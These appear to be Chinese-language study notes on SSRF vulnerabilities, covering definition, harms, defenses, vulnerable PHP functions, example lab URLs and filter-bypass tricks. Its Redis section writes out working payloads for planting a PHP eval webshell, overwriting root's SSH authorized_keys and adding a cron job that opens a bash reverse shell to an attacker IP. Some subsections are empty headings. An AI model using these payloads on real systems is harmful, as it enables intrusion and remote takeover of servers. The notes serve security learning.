SSRF
1. 定义
- SSRF(Server-side Request Forgery,服务端请求伪造)是一种****由攻击者构造形成,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是从外网无法访问的内网系统。正是由于它是由服务端发起的,所以他能够请求到与他相连而与外网隔离的内部系统
2. 危害
- 端口扫描
- 内网Web应用指纹识别
- 攻击内网Web应用
- 读取本地文件
3. 防御
- 限制请求的****端口只能为Web端口,只允许发送HTTP和HTTPS的请求
- 设置****白名单,或限制内网IP,以防止对内网进行攻击
- 禁止****30x跳转
- 屏蔽返回的详细信息
- 过滤用户输入的URL
4. 相关函数
- 涉及到****网络访问,支持伪协议的网络读取的函数
- file_get_content()
- 把文件****写入字符串,若为内网url的文件,会先读出来再写入
- curl_exec()
- 常通过****file、dict、gopher协议来渗透
- fsockopen()
%E6%B6%89%E5%8F%8A%E5%8D%8F%E8%AE%AE.png)
5. 漏洞利用
(1). 端口扫描


(2). 获取正常文件
http://192.168.71.15/ssrf3.php?url=http://www.baidu.com/robots.txt

(3). 读取系统本地文件
- 利用****file协议可以任意读取系统本地文件

(4). 内网Web应用指纹识别
- 大多数Web应用框架都有一些****独特的文件和目录,通过这些文件可以识别出应用的类型,甚至详细的版本,进而作出进一步针对攻击
#探测是否安装了phpmyadmin
http://192.168.71.15/ssrf3.php?url=http://localhost/phpmyadmin/README
(5). 端口探测
- 由于XXE漏洞可以利用****http协议,故利用该http请求去探查内网,进行SSRF攻击
- 可以根据响应时间/长度判断端口是否开放
6. Redis+gopher
(2). Redis条件
- 未授权访问,在访问redis数据库时,不需要提供用户名和密码,或弱口令
- 具有root权限
- 可以读写文件
- **默认端口号为:**6379
(3)方法
a. 绝对路径写Webshell
①前提
②构造payload
- redis命令
flushall
set 1 '<?php eval($_GET["cmd"]); ?>'
config set dir /var/www/html
config set dbfilename shell.php
save
b. 写SSH公钥
①前提
②说明
- 如果.ssh目录存在,则直接写入~/.ssh/authorized_keys,如果不存在,则利用crontab创建该目录
③方法
- 本地生成RSA公钥私钥对,将公钥通过redis写入~/.ssh/authorized_keys,实现SSH免密登录
④构造payload
- redis命令
flushall
set 1 '生成的RSA公钥私钥对'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
c. 写crontab计划任务反弹shell
①前提
- Centos系统
- crontab定时文件位置| 目录 | 说明 |
| --------------------------------------- | ------------------------------------------------------------------------------------------------------------------ |
| /etc/crontab | 一定存在的文件 |
| /etc/cron.d/* | 将任意文件写入到该目录下,效果和crontab相同,利用这个目录可以做到不覆盖任何其他文件的情况下进行反弹shell |
| /var/spool/cron/root | centos系统下root用户的cron文件 |
| /var/spool/cron/crontabs/root | debian系统下root用户的cron文件 |
②payload
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/[反弹机IP]/[port] 0>&1\n\n'
config set dir /var/spool/cron
config set dbfilename root
save
d. 主从复制RCE
7. 绕过
(1). 限制域名
- 采用http基本身份认证的绕过方式,即使用@绕过,如:http://www.aaa.com@www.bbb.com@www.ccc.com
- 在对@的解析域名中,****不同的处理函数存在处理差异,如:PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com
(2). 限制请求ip
- 短网址绕过
- 特殊域名
- xip.io可以指向任意域名,即``127.0.0.1.xip.io => 127.0.0.1`
- 进制转换
(3). 限制请求为http
- 采取302跳转,使用302跳转地址
- 采取短地址